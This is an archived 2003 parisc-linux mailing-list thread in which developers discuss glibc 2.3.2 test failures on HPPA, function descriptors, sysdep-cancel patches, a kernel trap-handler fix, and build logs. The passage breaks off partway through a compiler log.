	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18072

> I noticed that a couple of libstdc++ tests that used to fail because
> of the long double mismatch are fixed with 2.3.1-14 :)

Really? I didn't even put in patches for -14? :) This is all strictly
from upstream glibc.
 
> > > elf/vismain.out
> > > elf/neededtest.out
> > > elf/neededtest2.out
> > > elf/neededtest3.out
> > > elf/neededtest4.out
> > > elf/circleload1.out
> > > 
> > > - These have been around for a while, any idea about how to fix them?
> > 
> > They've certainly been around since I was hacking on glibc ...
> 
> Are you testing with 3.3?  Some elf tests in the binutils suite
> were failing because of the need to canonicalize function pointers.
> There were also some tests that failed because we absolutely need
> '-fPIC' for tests with shared libraries.  I'd be interested to know
> what's causing these.

I can rebuild it using 3.3 and see if this goes away. Right now I'm
building with 3.2.3. I sure hope getting rid of these is as easy as
building with 3.3!

On a second note, I've completely revamped the sysdep-cancel support
since I must have been smoking crack when I wrote it... so I'm going to
compile another round that should come out much better (hopefully
removing all the linuxthread failures).

Thanks for the feedback!

c.


From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. J. Lu" <hjl@lucon.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /lib/ld.so.1 (glibc) issues on parisc-linux 2.5 kernel??
Date: Tue, 25 Mar 2003 08:12:07 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20030325081207.B18730__32125.222151126$1416622329$gmane$org@lucon.org>
References: <1048493134.8777.22.camel@beavis.ybsoft.com> <jeptohumcp.fsf@sykes.suse.de> <20030324184447.GA26572@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622329 23680 80.91.229.3 (22 Nov 2014 02:12:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:09 +0000 (UTC)
Cc: Andreas Schwab <schwab@suse.de>, libc-alpha@sources.redhat.com,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbrad@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 09:12:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sccrmhc02.attbi.com (sccrmhc02.attbi.com [204.127.202.62])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48AF2482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Mar 2003 09:12:15 -0700 (MST)
Original-Received: from lucon.org (12-234-88-5.client.attbi.com[12.234.88.5])
          by sccrmhc02.attbi.com (sccrmhc02) with ESMTP
          id <2003032516120900200jbsgpe>; Tue, 25 Mar 2003 16:12:09 +0000
Original-Received: by lucon.org (Postfix, from userid 1000)
	id EB1002C67D; Tue, 25 Mar 2003 08:12:07 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030324184447.GA26572@uswest.net>; from rbrad@uswest.net on Mon, Mar 24, 2003 at 11:44:47AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18073

On Mon, Mar 24, 2003 at 11:44:47AM -0700, Ryan Bradetich wrote:
> > hppa is using function descriptors, AFAIK.  So you'll have to do something
> > similar to what ia64 and ppc64 are doing.
> 
> Thanks much for the reply!  I will investigate the function descriptors and
> see if that accounts for the different in offsets.  If so, I just need to
> figure out which side needs to be fixed :)
> 

I posted a patch a long time ago to unify function descriptor handling
such that ia64 and pa-risc don't have to reinvent the wheel.


H.J.


From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc 2.3.2 failures and possible fixes?
Date: Tue, 25 Mar 2003 12:17:25 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20030325171725.GO8436@systemhalted>
References: <20030324213508.GA8436@systemhalted> <3E68A4AA0000385B@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622329 23682 80.91.229.3 (22 Nov 2014 02:12:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 10:16:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F9C2482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Mar 2003 10:16:57 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18xs3B-0006Ib-00; Tue, 25 Mar 2003 12:17:25 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Joel Soete <jsoe0708@tiscali.be>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3E68A4AA0000385B@ocpmta8.freegates.net>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (10% Sync Ratio [=.........])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18074

> 
> I also find:
> 
> into dynamic-link.h
> auto void __attribute__((always_inline))
> elf_machine_rela_relative (ElfW(Addr) l_addr, const ElfW(Rela) *reloc,
>                            ElfW(Addr) *const reloc_addr);
> 
> into sysdeps/hppa/dl-machine.h:
> auto void __attribute__((always_inline))
> elf_machine_rela_relative (struct link_map *map, Elf32_Addr l_addr,
>                            const Elf32_Rela *reloc,
>                            Elf32_Addr *const reloc_addr)
> 

Missing patch. My bad. 
I'll update in a few hours with a new sysdep-cancel patch.

Thanks for testing Joel!

c.



From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc 2.3.2 failures and possible fixes?
Date: Tue, 25 Mar 2003 19:01:10 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <3E802FB00000055E@ocpmta1.freegates.net>
References: <20030325171725.GO8436@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622329 23686 80.91.229.3 (22 Nov 2014 02:12:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 11:01:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34018482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Mar 2003 11:01:17 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18xsjX-0003Kw-00; Tue, 25 Mar 2003 19:01:11 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 25 Mar 2003 19:01:10 +0100
In-Reply-To: <20030325171725.GO8436@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18075


>> 
>> I also find:
>> 
>> into dynamic-link.h
>> auto void __attribute__((always_inline))
>> elf_machine_rela_relative (ElfW(Addr) l_addr, const ElfW(Rela) *reloc,
>>                            ElfW(Addr) *const reloc_addr);
>> 
>> into sysdeps/hppa/dl-machine.h:
>> auto void __attribute__((always_inline))
>> elf_machine_rela_relative (struct link_map *map, Elf32_Addr l_addr,
>>                            const Elf32_Rela *reloc,
>>                            Elf32_Addr *const reloc_addr)
>> 
>
>Missing patch. My bad. 

Don't worry.

>I'll update in a few hours with a new sysdep-cancel patch.

I will waiting for :)

>
>Thanks for testing Joel!
>
You know how much am i interested. I know my knowledge is limited but I try
to do my best. 

Always wellcome and thanks for your attention,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trap handlers in 2.5
Date: Tue, 25 Mar 2003 17:27:09 -0500
Lines: 77
Approved: news@gmane.org
Message-ID: <20030325222709.GB27813@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622330 23689 80.91.229.3 (22 Nov 2014 02:12:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:10 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 15:26:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89700482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Mar 2003 15:26:45 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18xwsv-0007RZ-00; Tue, 25 Mar 2003 17:27:09 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	Randolph Chung <tausq@debian.org>
Content-Disposition: inline
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (45% Sync Ratio [=====.....])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18076

PA,

I noticed that Randolph made a comment about user traps crashing boxes,
and this sounded like some of changes I made to 2.4 in order to fix a
similar issue. Turns out it might be one of those fixes I forgot to send
to 2.5. Here's a diff against my 2.5 tree.

Please comment.

- Added Conditional Trap handler.
- Added Trap 16.
- Made Trap 17 non fatal.
- Put Trap 15 in a numerically ordered position.

This comes from my reading of the PA 1.1 and 2.0 spec, which may be
flawed, but the following works. It also stops users from FIC'ing into
unmapped pages and crashing the box, something that is wholely
unacceptable.

I don't have the time to commit and test this, would someone like to do
this? I'm busy with glibc right now :(

Index: traps.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/traps.c,v
retrieving revision 1.22
diff -u -p -r1.22 traps.c
--- traps.c	14 Feb 2003 15:46:27 -0000	1.22
+++ traps.c	25 Mar 2003 22:19:35 -0000
@@ -545,19 +545,39 @@ void handle_interruption(int code, struc
 		force_sig_info(SIGFPE, &si, current);
 		return;
 
+	case 13:
+		/* Conditional Trap
+		   The condition succees in an instruction which traps on condition  */
+		si.si_signo = SIGFPE;
+		/* Set to zero, and let the userspace app figure it out from
+		   the insn pointed to by si_addr */
+		si.si_code = 0;
+		si.si_addr = (void *) regs->iaoq[0];
+		force_sig_info(SIGFPE, &si, current);
+		return;											
+		
 	case 14:
 		/* Assist Exception Trap, i.e. floating point exception. */
 		die_if_kernel("Floating point exception", regs, 0); /* quiet */
 		handle_fpe(regs);
 		return;
-
+		
+        case 15:
+		/* Data TLB miss fault/Data page fault */
+		/* Fall thru */
+        case 16:
+		/* Non-access instruction TLB miss fault */
+		/* The instruction TLB entry needed for the target address of the FIC
+		 * is absent, and hardware can't find it, so we get to cleanup */
+		/* Fall thru */
 	case 17:
 		/* Non-access data TLB miss fault/Non-access data page fault */
 		/* TODO: Still need to add slow path emulation code here */
-		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
-		
+		/* TODO: Understand what is meant by the TODO listed
+		 * above this one. (Carlos) */
 		fault_address = regs->ior;
-		parisc_terminate("Non access data tlb fault!",regs,code,fault_address);
+		fault_space = regs->isr;
+		break;
 
 	case 18:
 		/* PCXS only -- later cpu's split this into types 26,27 & 28 */
@@ -567,8 +587,6 @@ void handle_interruption(int code, struc
 			return;
 		}
 		/* Fall Through */

From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.3.2 patches updated, still no working sysdep-cancel
Date: Tue, 25 Mar 2003 18:40:38 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20030325234038.GA29675@systemhalted>
References: <20030325171725.GO8436@systemhalted> <3E802FB00000055E@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622330 23691 80.91.229.3 (22 Nov 2014 02:12:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 16:40:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE993482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Mar 2003 16:40:08 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18xy22-0007mg-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Mar 2003 18:40:38 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3E802FB00000055E@ocpmta1.freegates.net>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (19% Sync Ratio [==........])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18077

>I'll update in a few hours with a new sysdep-cancel patch.

Patches updated:
http://www.baldric.uwo.ca/~carlos/glibc-2.3.2-patches.tar.gz

Still no luck on getting sysdep-cancel to work. I'll need another pair
of eyes to look at the assembly in sysdep-cancel.h

c.



From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Function descriptors fall behind Sysdep-cancel, Less failures, and ABI files for Roland.
Date: Tue, 25 Mar 2003 19:50:41 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20030326005041.GB30578__30582.3596347638$1416622330$gmane$org@systemhalted>
References: <1048493134.8777.22.camel@beavis.ybsoft.com> <jeptohumcp.fsf@sykes.suse.de> <20030324184447.GA26572@uswest.net> <20030325081207.B18730@lucon.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622330 23695 80.91.229.3 (22 Nov 2014 02:12:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:10 +0000 (UTC)
Cc: libc-alpha@sources.redhat.com,
	parisc-linux@lists.parisc-linux.org,
	Ryan Bradetich <rbrad@uswest.net>, Randolph Chung <tausq@debian.org>
To: "H. J. Lu" <hjl@lucon.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 17:50:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36E78482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Mar 2003 17:50:20 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18xz7v-00086O-00; Tue, 25 Mar 2003 19:50:47 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	"H. J. Lu" <hjl@lucon.org>, libc-alpha@sources.redhat.com,
	parisc-linux@lists.parisc-linux.org,
	Ryan Bradetich <rbrad@uswest.net>, Randolph Chung <tausq@debian.org>
Content-Disposition: inline
In-Reply-To: <20030325081207.B18730@lucon.org>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (71% Sync Ratio [=======...])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18078

> I posted a patch a long time ago to unify function descriptor handling
> such that ia64 and pa-risc don't have to reinvent the wheel.

Your patch is definately the correct way to go. When I initially
recommended that Ryan take the issue to the list I didn't realize it was
a function descriptor issue.  

Unfortunately it falls behind the following changes:
	- Sysdep-cancel support.
	- Building glibc without severe testsuite failures
	- Handing Roland the ABI files for HPPA.

After this I plan to follow up on the required function descriptor 
changes, all along the lines of the current ia64/ppc64 implementation.

Current HPPA glibc status:
- New LinuxThreads that doesn't require explicit alignment of locks.
- 2.3.2 builds, various failures.
- Fixing sysdep-cancel support.

I should start sending the patches back here soon.

c.



From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Berthold Gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2 patches updated, still no working sysdep-cancel
Date: Wed, 26 Mar 2003 08:14:06 +0100
Organization: http://freemail.web.de/
Lines: 83
Approved: news@gmane.org
Message-ID: <200303260714.h2Q7E5224074@mailgate5.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622331 23697 80.91.229.3 (22 Nov 2014 02:12:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 00:14:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailgate5.cinetic.de (mailgate5.cinetic.de [217.72.192.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D8F7482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 00:14:07 -0700 (MST)
Original-Received: from web.de (fmomail02.dlan.cinetic.de [172.20.1.46])
	by mailgate5.cinetic.de (8.11.6/8.11.2/SuSE Linux 8.11.0-0.4) with SMTP id h2Q7E5224074
	for parisc-linux@lists.parisc-linux.org; Wed, 26 Mar 2003 08:14:06 +0100
Precedence: fm-user
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18079

Hi Carlos, 
 
Carlos O'Donell <carlos@baldric.uwo.ca> schrieb am 26.03.03 00:41:24:  
> Patches updated:  
> http://www.baldric.uwo.ca/~carlos/glibc-2.3.2-patches.tar.gz  
>   
> Still no luck on getting sysdep-cancel to work. I'll need another pair  
> of eyes to look at the assembly in sysdep-cancel.h  
  
I was successful to compile the first version of your patches (after fixing the map  
part). Here is the output of  
# /lib/libc.so.6 
GNU C Library stable release version 2.3.2, by Roland McGrath et al. 
Copyright (C) 2003 Free Software Foundation, Inc. 
This is free software; see the source for copying conditions. 
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A 
PARTICULAR PURPOSE. 
Compiled by GNU CC version 3.3 20030226 (prerelease) (SuSE Linux). 
Compiled on a Linux 2.4.19 system on 2003-03-25. 
Available extensions: 
        GNU libio by Per Bothner 
        crypt add-on version 2.1 by Michael Glad and others 
        linuxthreads-0.10 by Xavier Leroy 
        BIND-8.2.3-T5B 
        libthread_db work sponsored by Alpha Processor Inc 
        NIS(YP)/NIS+ NSS modules 0.19 by Thorsten Kukuk 
Report bugs using the `glibcbug' script to <bugs@gnu.org>. 
 
I was not successful to compile your current version: 
 
gcc ../sysdeps/unix/sysv/linux/sigprocmask.c -c -std=gnu99 -O2 -Wall -Winline -W 
strict-prototypes -Wwrite-strings -fstrict-aliasing -g -mpa-risc-1-1      -I../i 
nclude -I. -I/usr/src/packages/BUILD/glibc-2.3.2/cc/signal -I.. -I../libio  -I/u 
sr/src/packages/BUILD/glibc-2.3.2/cc -I../sysdeps/hppa/elf -I../linuxthreads/sys 
deps/unix/sysv/linux/hppa -I../linuxthreads/sysdeps/unix/sysv/linux -I../linuxth 
reads/sysdeps/pthread -I../sysdeps/pthread -I../linuxthreads/sysdeps/unix/sysv - 
I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa -I../sysdeps/unix/s 
ysv/linux/hppa -I../sysdeps/unix/sysv/linux -I../sysdeps/gnu -I../sysdeps/unix/c 
ommon -I../sysdeps/unix/mman -I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../ 
sysdeps/unix -I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize- 
32 -I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 -I../sysdeps/ieee754/ 
ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa -I../sysdeps/ieee754 -I../sysde 
ps/generic/elf -I../sysdeps/generic  -nostdinc -isystem /usr/lib/gcc-lib/hppa-su 
se-linux/3.3/include -isystem /usr/src/packages/BUILD/kernel-headers -D_LIBC_REE 
NTRANT -include ../include/libc-symbols.h       -o /usr/src/packages/BUILD/glibc 
-2.3.2/cc/signal/sigprocmask.o 
(echo '#include <sysdep.h>'; \ 
 echo 'PSEUDO (__kill, kill, 2)'; \ 
 echo ' ret'; \ 
 echo 'PSEUDO_END(__kill)'; \ 
 echo 'libc_hidden_def (__kill)'; \ 
 echo 'weak_alias (__kill, kill)'; \ 
 echo 'libc_hidden_weak (kill)'; \ 
) | gcc -c  -I../include -I. -I/usr/src/packages/BUILD/glibc-2.3.2/cc/signal -I. 
. -I../libio  -I/usr/src/packages/BUILD/glibc-2.3.2/cc -I../sysdeps/hppa/elf -I. 
